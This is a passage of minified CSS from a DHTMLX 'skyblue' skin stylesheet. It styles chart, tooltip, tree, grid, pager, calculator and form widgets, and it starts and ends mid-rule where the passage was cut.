white;width:10px;height:10px;overflow:hidden;}.dhx_tooltip{display:none;position:absolute;font-family:Tahoma,Helvetica;color:#626262;font-size:11px;z-index:10000;padding:4px 10px 4px 10px;border:1px solid #fff;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;-moz-box-shadow:0 0 3px #d9d9d9;-webkit-box-shadow:0 0 3px #d9d9d9;text-shadow:0 1px 1px #fff;box-shadow:0 0 5px #d9d9d9;background:-webkit-gradient(linear,left top,left bottom,color-stop(0,#efefef),color-stop(0.5,#f6f6f6),color-stop(1,#efefef));background:-o-linear-gradient(#efefef 0,#f6f6f6 50%,#efefef 100%);background:-ms-linear-gradient(#efefef 0,#f6f6f6 50%,#efefef 100%);background:-moz-linear-gradient(#efefef 0,#f6f6f6 50%,#efefef 100%);background:#efefef;}.dhx_chart{position:relative;font-family:Tahoma,Helvetica;font-size:11px;color:black;overflow:hidden;}.dhx_chart canvas{position:absolute;left:0;top:0;}.dhx_canvas_text{position:absolute;text-align:center;overflow:hidden;white-space:nowrap;z-index:1000;}.dhx_map_img{width:100%;height:100%;position:absolute;top:0;left:0;border:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);opacity:0;}.dhx_axis_item_y{position:absolute;height:18px;line-height:18px;margin-top:-4px;text-align:right;}.dhx_axis_title_x{text-align:center;}.dhx_axis_title_y{text-align:center;font-family:Tahoma,Helvetica;-webkit-transform:rotate(-90deg);-moz-transform:rotate(-90deg);-o-transform:rotate(-90deg);-ms-transform:rotate(-90deg);transform:rotate(-90deg);height:18px;line-height:18px;font-size:11px;}.dhx_ie_filter{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);zoom:1;font-family:serif;}.dhx_chart_legend{position:absolute;z-index:1000;}.dhx_chart_legend_item{height:18px;line-height:18px;padding:2px;cursor:pointer;}.dhx_chart_legend_item.hidden{color:#aaa;}.dhx_axis_item_y.dhx_radar{color:#666;font-size:12px;padding-right:3px;height:13px;line-height:13px;margin-top:0;}.dhx_canvas_text.dhx_axis_radar_title{margin-top:0;padding-top:0;}.dhx_axis_item_y,.dhx_axis_item_x{color:#666;}.dhx_axis_item_x{padding-top:2px;}.dhx_tooltip{display:none;position:absolute;font-family:Tahoma,Helvetica;color:#626262;font-size:11px;z-index:10000;padding:4px 10px 4px 10px;border:1px solid #fff;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;-moz-box-shadow:0 0 3px #d9d9d9;-webkit-box-shadow:0 0 3px #d9d9d9;text-shadow:0 1px 1px #fff;box-shadow:0 0 5px #d9d9d9;background:-webkit-gradient(linear,left top,left bottom,color-stop(0,#efefef),color-stop(0.5,#f6f6f6),color-stop(1,#efefef));background:-o-linear-gradient(#efefef 0,#f6f6f6 50%,#efefef 100%);background:-ms-linear-gradient(#efefef 0,#f6f6f6 50%,#efefef 100%);background:-moz-linear-gradient(#efefef 0,#f6f6f6 50%,#efefef 100%);background:#efefef;}.dhx_noselect{-moz-user-select:none;-moz-user-select:-moz-none;-khtml-user-select:none;}.dhx_allow_selection{-moz-user-select:text;-user-select:text;}.dhx_dataview{overflow-y:auto;-webkit-overflow-scrolling:touch;overflow-x:hidden;-moz-user-select:none;-moz-user-select:-moz-none;-khtml-select:none;}.dhx_drag_zone{position:absolute;border:1px solid #A4BED4;z-index:8000;-moz-box-shadow:5px 5px 5px #888;-khtml-box-shadow:5px 5px 5px #888;}.dhx_dataview_default_item,.dhx_dataview_default_item_selected{cursor:pointer;background-color:#fff;}.dhx_dataview .dhx_dataview_default_item,.dhx_dataview .dhx_dataview_default_item_selected{border-right:1px solid #a4bed4;border-bottom:1px dotted #a4bed4;}.dhx_dataview_default_item_selected{background-color:#a1ceed;color:#b5deff;border-color:#a1ceed;background-repeat:repeat-x;}.dhx_dataview_item{font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhx_dataview_item .dhx_strong{font-weight:bold;display:block;padding-bottom:6px;}.dhx_dataview_default_item_selected .dhx_light{color:#C3C3C3;}.dhx_dataview_item .dhx_light{color:#919191;}.dhx_drag_over{background-color:#faf768;background-image:url(\"imgs/dhxdataview_skyblue/marker.png\");background-repeat:repeat-x;}.dhx_pager_item,.dhx_pager_item_selected{float:left;text-align:center;height:16px;font-family:Tahoma,Helvetica;font-size:10pt;border:1px solid gray;padding:2px 4px;margin-left:5px;cursor:pointer;background-color:white;}.dhx_pager_item_selected{background-color:lightgrey;color:white;cursor:default;font-weight:bold;}.defaultTreeTable{margin:0;padding:0;border:0;}.containerTableStyle{overflow:auto;-webkit-overflow-scrolling:touch;position:relative;top:0;font-size:12px;-khtml-user-select:none;}.containerTableStyleRTL span{direction:rtl;unicode-bidi:bidi-override;}.containerTableStyleRTL{direction:rtl;overflow:auto;position:relative;top:0;font-size:12px;}.standartTreeRow{font-family:Tahoma,Helvetica;font-size:12px;-moz-user-select:none;}.selectedTreeRow{background-color:navy;color:white;font-family:Tahoma,Helvetica;font-size:12px;-moz-user-select:none;}.dragAndDropRow{background-color:navy;color:white;}.standartTreeRow_lor{text-decoration:underline;background-color:#fff;font-family:Tahoma,Helvetica;font-size:12px;-moz-user-select:none;}.selectedTreeRow_lor{text-decoration:underline;background-color:navy;color:white;font-family:Tahoma,Helvetica;font-size:12px;-moz-user-select:none;}.standartTreeImage{height:24px;overflow:hidden;border:0;padding:0;margin:0;font-size:1px;}.standartTreeImage img{width:18px;height:24px;background-position:center center;background-repeat:no-repeat;border:0;padding:0;margin:0;font-size:1px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.hiddenRow{width:1px;overflow:hidden;}.dragSpanDiv,.dragSpanDiv td{font-family:Tahoma,Helvetica;font-size:12px;background-color:#fff;z-index:999;}.a_dhx_hidden_input{position:absolute;top:-1px;left:-1px;width:1px;height:1px;border:none;background:none;}.a_dhx_hidden_input{position:absolute;top:-1px;left:-1px;width:1px;height:1px;border:none;background:none;}.selectionBox{background-color:#FFC;}.selectionBar{top:0;background-color:black;position:absolute;overflow:hidden;height:2px;z-index:11;}.intreeeditRow{font-size:8pt;height:16px;border:1px solid silver;padding:0;margin:0;margin-left:4px;-moz-user-select:text;-khtml-user-select:text;}.dhx_tree_textSign{font-size:8pt;font-family:monospace;width:21px;color:black;padding:0;margin:0;cursor:pointer;text-align:center;}.dhx_tree_opacity{opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhx_bg_img_fix{width:18px;height:24px;background-repeat:no-repeat;background-position:center;background-position-x:center;background-position-y:center;}.dhxtree_dhx_skyblue{background-color:#fff;color:black;}*html .dhxtree_dhx_skyblue .standartTreeRow,*html .dhxtree_dhx_skyblue .standartTreeRow_lor{border-right:0 solid red;border-left:0 solid red;}*html .dhxtree_dhx_skyblue span.standartTreeRow,*html .dhxtree_dhx_skyblue span.standartTreeRow_lor{margin-left:1px;}.dhxtree_dhx_skyblue .standartTreeRow,.dhxtree_dhx_skyblue .standartTreeRow_lor{border-right:1px solid transparent;border-left:1px solid transparent;font-family:Tahoma,Helvetica;font-size:12px;overflow:hidden;padding:0;}.dhxtree_dhx_skyblue .selectedTreeRow_lor,.dhxtree_dhx_skyblue .selectedTreeRow{background-color:#b5deff;background-repeat:repeat-x;border:1px solid #a1ceed;color:black;line-height:17px;font-family:Tahoma,Helvetica;font-size:12px;overflow:hidden;}html>body .dhxtree_dhx_skyblue .selectedTreeRow,html>body .dhxtree_dhx_skyblue .selectedTreeRow_lor{padding:1px 0 1px 0;line-height:normal;*display:inline-block;height:13px;}body:nth-of-type(1) .dhxtree_dhx_skyblue span.selectedTreeRow,body:nth-of-type(1) .dhxtree_dhx_skyblue span.selectedTreeRow_lor{padding:1px 0 1px 0;padding-top:0;box-sizing:border-box;line-height:12px;height:13px;}.dhxtree_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}div.gridbox{overflow:hidden;text-align:left;}.dhx_sub_row{background-color:#fff;}div.gridbox table.obj{height:1px;}div.gridbox table.hdr td{line-height:normal;border:1px solid;border-color:#fff Gray Gray #fff;text-align:center;margin:0;padding:7px 0 7px 0;font-weight:normal;overflow:hidden;empty-cells:show;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.gridbox table.hdr td div.hdrcell{overflow:hidden;}div.gridbox table.obj td{border:1px solid;border-color:#fff Gray Gray #fff;overflow:hidden;padding-top:0;padding-bottom:0;empty-cells:show;white-space:normal;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.gridbox table.obj th,div.gridbox table.hdr th{padding:0;margin:0;}div.gridbox table.row20px tr td{height:20px;white-space:nowrap;padding:0;}div.gridbox .objbox{background-color:#fff;position:relative;-webkit-overflow-scrolling:touch;}div.gridbox table.obj td span.space,div.gridbox table.obj td img.space{width:18px;}div.gridbox table.obj td.editable{-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}div.gridbox table.obj td.group_row{vertical-align:middle;font-family:Tahoma;font-size:10pt;font-weight:bold;height:30px;border:0;border-bottom:2px solid navy;}.dragSpanDiv{font-family:Tahoma,Helvetica;font-size:12px;border:1px gray solid;background-color:#fff;z-index:999;}.dhx_combo_select{border:1px solid;border-color:black silver silver black;background-color:#fff;overflow:auto;cursor:default;position:absolute;height:auto;z-index:600;}.dhx_combo_edit{width:100%;border:0;padding:0;padding-right:1px!ie;margin:0;overflow:hidden;}.gridbox_dhx_skyblue textarea.dhx_combo_edit{margin-bottom:-6px;}.dhx_textarea{border:1px solid;border-color:black silver silver black;position:absolute;height:100px;z-index:600;}.dhx_clist{background-color:#fff;border:1px solid black;padding:2px 2px 2px 2px;z-index:300;}.gridDragLine{position:absolute;top:10px;left:0;width:100%;height:2px;background-color:black;overflow:hidden;}div.pagingBlock .pagingCurrentPage{font-weight:bold;cursor:default;}div.pagingBlock .pagingPage{cursor:pointer;text-decoration:underline;}div.pagingBlock a{text-decoration:none;padding-right:2px;color:black;cursor:pointer;}div.pagingBlock a.dhx_not_active{text-decoration:none;cursor:default;}.toolbar_select{font-size:10px;}.dhtmlxGrid_selection{opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);background-color:yellow;border:1px dotted black;}div.gridbox div.ftr{position:absolute;left:0;bottom:1px;width:100%;overflow:hidden;}div.gridbox div.ftr td{padding:0;padding-left:10px;padding-right:5px;border-top:1px solid gray;border-right:1px solid gray;background-color:#ffc;font-style:italic;overflow:hidden;}div.gridbox table.hdr td.columnTargetR div.hdrcell{border-right:3px double #F60;border-left:3px solid #D4D0C8;}div.gridbox table.hdr td.columnTargetL div.hdrcell{border-right:3px solid #D4D0C8;border-left:3px double #F60;}.dhx_dragColDiv{background-color:#D4D0C8;border:1px solid;border-color:#fff Gray Gray #fff;text-align:center;margin:0;padding:5px 20px 5px 20px;font-weight:normal;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);}.dhtmlx_live_validation_error{background-color:#FFE0E0!important;}.dhtmlx_validation_error{border-bottom:2px solid red!important;}.dhx_header_cmenu{background-color:#fff;border:2px outset silver;z-index:2;}.dhx_header_cmenu_item{white-space:nowrap;}div.gridboxgridbox_dhx_skyblue div.ftr td{text-align:right;color:black;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);border-color:#a4bed4;}div.gridbox td.filter input,div.gridbox td.filter select{width:90%;font-size:8pt;font-family:Tahoma;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}div.gridbox_dhx_skyblue.gridbox .ftr,div.gridbox_dhx_skyblue.gridbox .xhdr{color:black;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}div.gridbox_dhx_skyblue.isModern table.hdr tr td{color:black;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}div.gridbox_dhx_skyblue.isIE table.hdr tr{color:black;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}div.gridbox_dhx_skyblue.gridbox table.obj tr td{border-width:0;padding-right:4px;padding-left:4px;}div.gridbox_dhx_skyblue.gridbox table.hdr td div.hdrcell{padding-left:10px;width:auto;}div.gridbox_dhx_skyblue.gridbox table.hdr td{border-width:1px 1px 1px 1px;border-color:#e7f1ff #a4bed4 #a4bed4 #e7f1ff;background-color:transparent;font-family:Tahoma,Helvetica;font-size:12px;color:black;vertical-align:top;text-align:left;position:relative;}div.gridbox_dhx_skyblue.gridbox{border:1px solid #a4bed4;}div.gridbox_dhx_skyblue.gridbox table.obj{font-family:Tahoma,Helvetica;font-size:12px;color:black;}div.gridbox_dhx_skyblue.gridbox table.obj tr td{padding-top:3px;padding-bottom:3.2px;}* html .gridbox_dhx_skyblue.gridbox .obj td{height:auto;padding-top:3px;padding-bottom:3px;}div.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td{height:23px;}div.gridbox_dhx_skyblue.gridbox table.obj tr td{padding-top:1px;padding-bottom:1px;border-right:1px solid #fff;border-top:1px solid #fff;border-bottom:1px solid #fff;}div.gridbox_dhx_skyblue.isModern table.obj.row20px tr td{line-height:23px;}div.gridbox_dhx_skyblue table.obj.row20px tr td.editable{height:21px;line-height:21px;}div.gridbox_dhx_skyblue table.obj.row20px tr td.editable .treegrid_cell{margin-top:-2px;height:21px;}div.gridbox_dhx_skyblue.gridbox table.obj tr td.editable div.treegrid_cell{padding:1px 4px!important;}div.gridbox_dhx_skyblue.gridbox table.obj tr.rowselected{background-color:#b5deff;}div.gridbox_dhx_skyblue.gridbox table.obj tr.rowselected td{background-color:#b5deff;color:black;}div.gridbox_dhx_skyblue.gridbox table.obj tr.rowselected td,div.gridbox_dhx_skyblue.gridbox table.obj tr.odd_dhx_skyblue.rowselected td{background-color:#b5deff;border-top:1px solid #a1ceed;border-bottom:1px solid #a1ceed;border-right:1px solid #b5deff;}div.gridbox_dhx_skyblue.gridbox table.obj tr td.cellselected{background-color:#b5deff;}div.gridbox_dhx_skyblue.gridbox table.obj tr.odd_dhx_skyblue{background:#ebf3ff;border-top:1px solid #ebf3ff;border-bottom:1px solid #ebf3ff;}div.gridbox_dhx_skyblue.gridbox table.obj tr.odd_dhx_skyblue{background:#ebf3ff;}.dhx_combo_select,.gridbox_dhx_skyblue.gridbox .dhx_combo_edit,.gridbox_dhx_skyblue.gridbox .dhx_textarea,dhx_dragColDiv,div.gridbox div.ftr td,div.pagingBlock,span.recordsInfoBlock{font-family:Tahoma,Helvetica;font-size:12px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;}.gridbox_dhx_skyblue .dhx_combo_edit{padding:1px 0 1px 1px;}.gridbox_dhx_skyblue.isIE .dhx_combo_edit{padding:0 0 0 1px;}.gridbox_dhx_skyblue.gridbox .dhx_sub_row{background-color:transparent;}.dhx_header_cmenu{background-color:#fff;border:2px outset silver;z-index:2;}.dhx_header_cmenu_item{white-space:nowrap;}.dhx_pbox{margin-top:3px;border:1px solid #D4D0C8;border-top:0;font-size:10px;}.dhx_pline{background-color:white;margin:-15px 10px 10px 10px;padding:0 5px 0 5px;float:left;}.dhx_page,.dhx_pager_info{margin:3px;text-align:center;font-family:tahoma;font-size:12px;float:left;cursor:pointer;color:black;background-color:gray;padding:1px;}.dhx_pager_info{white-space:nowrap;background-color:white;margin:-8px 10px 10px 10px;padding:0 5px 0 5px;cursor:default;}.dhx_page div{background-color:white;width:16px;height:17px;vertical-align:middle;}div.dhx_page_active{font-weight:bold;background-color:lightgrey;cursor:default;color:white;}.dhx_pbox_modern{margin-top:3px;border:1px solid #D6D6D6;border-top:0;font-size:10px;}.dhx_pline_modern{background-color:white;margin:-15px 10px 10px 10px;padding:0 5px 0 5px;float:left;}.dhx_page_modern,.dhx_pager_info_modern{margin:3px;text-align:center;font-family:tahoma;font-size:12px;float:left;cursor:pointer;color:#055A78;background-color:#D6D6D6;padding:1px;}.dhx_pager_info_modern{white-space:nowrap;background-color:white;margin:-8px 10px 10px 10px;padding:0 5px 0 5px;cursor:default;}.dhx_page_modern div{background-color:white;width:16px;height:17px;vertical-align:middle;}div.dhx_page_active_modern{font-weight:bold;background-color:#055A78;cursor:default;color:white;}.dhx_pbox_light{margin-top:3px;border:1px solid #C2D5DC;border-top:0;font-size:10px;}.dhx_pline_light{background-color:white;margin:-15px 10px 10px 10px;padding:0 5px 0 5px;float:left;}.dhx_page_light,.dhx_pager_info_light{margin:3px;text-align:center;font-family:tahoma;font-size:12px;float:left;cursor:pointer;color:#055A78;background-color:#93AFBA;padding:1px;}.dhx_pager_info_light{white-space:nowrap;background-color:white;margin:-8px 10px 10px 10px;padding:0 5px 0 5px;cursor:default;}.dhx_page_light div{background-color:white;width:16px;height:17px;vertical-align:middle;}div.dhx_page_active_light{font-weight:bold;background-color:#D1DFE3;cursor:default;color:white;}.dhx_pbox_skyblue{margin-top:3px;border:1px solid #C2D5DC;border-top:0;font-size:10px;}.dhx_pline_skyblue{background-color:white;margin:-15px 10px 10px 10px;padding:0 5px 0 5px;float:left;}.dhx_page_skyblue,.dhx_pager_info_skyblue{margin:3px;text-align:center;font-family:tahoma;font-size:12px;float:left;cursor:pointer;color:#055A78;background-color:#93AFBA;padding:1px;}.dhx_pager_info_skyblue{white-space:nowrap;background-color:white;margin:-8px 10px 10px 10px;padding:0 5px 0 5px;cursor:default;}.dhx_page_skyblue div{background-color:white;width:16px;height:17px;vertical-align:middle;}div.dhx_page_active_skyblue{font-weight:bold;color:black;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);border:1px solid #a4bed4;padding:0;cursor:default;}div.dhx_page_active_skyblue div.dhx_page_active_skyblue{border:0 solid #a4bed4;}.calcTable{width:100px;background-color:silver;border:1px black solid;}.calcButton{height:20px;cursor:pointer;text-align:center;background-color:gray;color:white;font-size:10px;font-weight:bold;border-top:1px solid silver;border-right:1px solid silver;}.calcPressed{height:20px;cursor:pointer;text-align:center;background-color:gray;color:white;font-size:10px;font-weight:bold;border-top:1px solid black;border-right:1px solid black;}.calcInput{background-color:white;font-size:10px;font-weight:bold;font-family:Tahoma,Helvetica;}.calkSubmit{padding:2px;cursor:pointer;text-align:center;background-color:silver;color:white;font-size:10px;font-weight:bold;border-top:1px solid white;border-right:1px solid white;}.dhxgrid_sort_desc,.dhxgrid_sort_asc{width:9px;height:8px;background-image:url(\"imgs/dhxgrid_skyblue/sort_desc.gif\");background-repeat:no-repeat;z-index:10;}.dhxgrid_sort_asc{background-image:url(\"imgs/dhxgrid_skyblue/sort_asc.gif\");background-repeat:no-repeat;}.dhxgrid_rh_dhx_skyblue{position:absolute;top:-20px;left:-24px;width:23px;height:10px;margin:0;padding:0;border-width:0;font-size:1px;overflow:hidden;}.dhxgrid_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}div.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td img{display:block;}div.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td.group_row img,div.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td .treegrid_cell img{display:inline;}.dhxform_obj_dhx_skyblue{font-family:Tahoma,Helvetica;float:left;line-height:normal;}.dhxform_obj_dhx_skyblue div.dhxform_base{position:relative;float:left;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_base{float:right;}.dhxform_obj_dhx_skyblue div.dhxform_base_nested{padding:0;clear:both;*display:inline-block;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_base_nested{padding:0;}.dhxform_obj_dhx_skyblue.dhxform_block{clear:both;}.dhxform_obj_dhx_skyblue div.block_dhxform_item_label_left{display:block;clear:both;*clear:none;}.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link,.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:visited,.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:active,.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:hover{outline:none;text-decoration:none;color:inherit;cursor:default;overflow:hidden;white-space:normal;}.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:focus{color:#305f87;}.dhxform_obj_dhx_skyblue div.disabled span.nav_link{color:inherit;}.dhxform_obj_dhx_skyblue div.dhxform_img,.dhxform_obj_dhx_skyblue div.dhxform_actv_c,.dhxform_obj_dhx_skyblue div.dhxform_actv_r{width:18px;height:18px;font-size:1px;}.dhxform_obj_dhx_skyblue div.dhxform_img.chbx0,.dhxform_obj_dhx_skyblue div.dhxform_img.chbx1,.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx0,.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx1,.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt0,.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt1,.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt0,.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt1,.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx0,.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx1,.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt0,.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt1{background-image:url(\"imgs/dhxform_skyblue/dhxform_chbxrd.gif\");background-repeat:no-repeat;}.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx0{background-position:-162px 0;}.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx1{background-position:-144px 0;}.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt0{background-position:-198px 0;}.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt1{background-position:-180px 0;}.dhxform_obj_dhx_skyblue div.dhxform_img.chbx0{background-position:-18px 0;}.dhxform_obj_dhx_skyblue div.dhxform_img.chbx1{background-position:0 0;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx0{background-position:-54px 0;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx1{background-position:-36px 0;}.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt0{background-position:-90px 0;}.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt1{background-position:-72px 0;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt0{background-position:-126px 0;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt1{background-position:-108px 0;}.dhxform_obj_dhx_skyblue div.dhxform_label{font-family:inherit;font-size:inherit;color:black;overflow-x:hidden;overflow:hidden;white-space:normal;}.dhxform_obj_dhx_skyblue div.dhxform_label.dhxform_label_align_left{text-align:left;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_label.dhxform_label_align_left{text-align:right;}.dhxform_obj_dhx_skyblue div.dhxform_label.dhxform_label_align_center{text-align:center;}.dhxform_obj_dhx_skyblue div.dhxform_label.dhxform_label_align_right{text-align:right;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_label.dhxform_label_align_right{text-align:left;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_label,.dhxform_obj_dhx_skyblue div.disabled div.dhxform_label div.dhxform_label_nav_link,.dhxform_obj_dhx_skyblue div.disabled div.dhxform_label span.dhxform_item_required{color:#b2b2b2;}.dhxform_obj_dhx_skyblue div.dhxform_label span.dhxform_item_required{margin-left:5px;margin-right:0;color:red;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_label span.dhxform_item_required{margin-left:0;margin-right:5px;}.dhxform_obj_dhx_skyblue input.dhxform_textarea{padding:4px 3px!important;margin:0;font-size:1em;}.dhxform_obj_dhx_skyblue textarea.dhxform_textarea{padding:4px 3px!important;}.dhxform_obj_dhx_skyblue input.dhxform_textarea::-ms-clear,.dhxform_obj_dhx_skyblue textarea.dhxform_textarea::-ms-clear{display:none;}.dhxform_obj_dhx_skyblue .dhxform_textarea{border:1px solid #a4bed4;font-family:Tahoma,Helvetica;font-size:1em;color:black;resize:none;}.dhxform_obj_dhx_skyblue div.disabled .dhxform_textarea{color:#b2b2b2;background-color:white;border:1px solid #c2d0dd;}.dhxform_obj_dhx_skyblue.dhxform_rtl .dhxform_textarea{text-align:right;direction:rtl;}.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node{position:relative;}.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node .dhxform_textarea{border:1px solid white;background-color:white;color:white;visibility:hidden;*height:1px;*line-height:1px;*display:inline;}.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node div.dhxform_img,.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node div.dhxform_actv_c,.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node div.dhxform_actv_r{float:none;top:2px;left:2px;position:absolute;margin:0;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_control.dhxform_img_node div.dhxform_img{float:none;top:2px;left:0;position:absolute;margin:0;}.dhxform_obj_dhx_skyblue .dhxform_select{border:1px solid #a4bed4;background-color:#fff;margin:0;padding:3px 2px 3px 0;font-family:Tahoma,Helvetica;font-size:1em;color:black;}.dhxform_obj_dhx_skyblue .dhxform_select option{padding-left:2px;}.dhxform_obj_dhx_skyblue div.disabled .dhxform_select{color:#b2b2b2;background-color:#fff;border:1px solid #c2d0dd;}.dhxform_obj_dhx_skyblue.dhxform_rtl select,.dhxform_obj_dhx_skyblue.dhxform_rtl option{direction:rtl;}.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_left,.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_right{padding:5px 0 5px 0;}.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_left fieldset.dhxform_fs div.dhxform_base_nested.dhxform_fs_nested,.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_right fieldset.dhxform_fs div.dhxform_base_nested.dhxform_fs_nested{margin-right:19px;margin-left:5px;}.dhxform_obj_dhx_skyblue fieldset.dhxform_fs{border:1px solid #a4bed4;margin:0;padding:5px 0 12px 0;clear:left;width:100%;}.dhxform_obj_dhx_skyblue div.disabled fieldset.dhxform_fs{border:1px solid #c2d0dd;}.dhxform_obj_dhx_skyblue fieldset.dhxform_fs legend.fs_legend{font-family:Tahoma,Helvetica;font-size:inherit;color:#7099bb;font-weight:normal;padding:0 4px 1px 4px;margin-left:5px;text-align:left;}.dhxform_obj_dhx_skyblue.dhxform_rtl fieldset.dhxform_fs legend.fs_legend{text-align:right;}.dhxform_obj_dhx_skyblue div.disabled fieldset.dhxform_fs legend.fs_legend{color:#b2b2b2;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_right{clear:both;padding-top:6px;cursor:default;*display:inline-block;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_img,.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_actv_c,.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_actv_r{float:left;margin:0;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_right div.dhxform_img{float:right;margin:0;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_label{float:left;padding:2px 0 2px 0;margin:2px 0 2px 0;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_right div.dhxform_label{float:right;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_control{float:left;margin-right:3px;margin-left:0;*display:inline;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_right div.dhxform_control{float:right;margin-right:0;margin-left:3px;*display:inline;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_left{clear:both;padding-top:6px;cursor:default;*display:inline-block;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_img,.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_actv_c,.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_actv_r{float:right;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_left div.dhxform_img{float:left;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_label{float:left;padding:2px 0 2px 0;margin:2px 0 2px 0;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_left div.dhxform_label{float:right;}.dhxform_obj_dhx_skyblue 